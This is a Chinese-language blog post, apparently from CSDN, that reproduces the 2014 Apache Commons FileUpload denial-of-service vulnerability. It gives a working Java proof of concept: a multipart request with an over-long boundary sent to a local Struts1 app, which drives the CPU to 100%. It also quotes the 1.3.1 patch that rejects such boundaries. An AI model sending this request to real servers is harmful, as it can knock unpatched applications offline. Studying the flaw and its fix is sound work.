重现apache commons fileupload DOS漏洞

注:本文仅供技术探讨, 研究,测试使用。

这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。

最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.net/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。

然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.java包含完整的代码):

public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{
	CloseableHttpClient httpClient = createHttpClient();
	HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");
	String boundary = "";
	for(int i=0; i<4092; i++){
		boundary += "a";
	}
	post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");
	post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");
	String body = "";
	for(int i=0; i<4097; i++){
		body +="b";
	}
    post.setEntity(new StringEntity(body));
    
    CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);
    HttpEntity entity = response.getEntity();
    System.out.println(EntityUtils.toString(entity));
    System.out.println("Over!");
}
运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。

该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。

稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:
try {
	multi = new MultipartStream(input, boundary, notifier);
} catch (IllegalArgumentException iae) {
	throw new InvalidContentTypeException(
			format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);
}

public MultipartStream(InputStream input,
		byte[] boundary,
		int bufSize,
		ProgressNotifier pNotifier) {

	if (boundary == null) {
		throw new IllegalArgumentException("boundary may not be null");
	}

	this.input = input;
	this.bufSize = bufSize;
	this.buffer = new byte[bufSize];
	this.notifier = pNotifier;

	// We prepend CR/LF to the boundary to chop trailing CR/LF from
	// body-data tokens.
	this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
	if (bufSize < this.boundaryLength + 1) {
		throw new IllegalArgumentException(
				"The buffer size specified for the MultipartStream is too small");
	}
	this.boundary = new byte[this.boundaryLength];
	this.keepRegion = this.boundary.length;

	System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
			BOUNDARY_PREFIX.length);
	System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
			boundary.length);

	head = 0;
	tail = 0;
}

有兴趣的可以下载源码并详细研究一下。

转载请注明来自: http://blog.csdn.net/sunxing007


  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值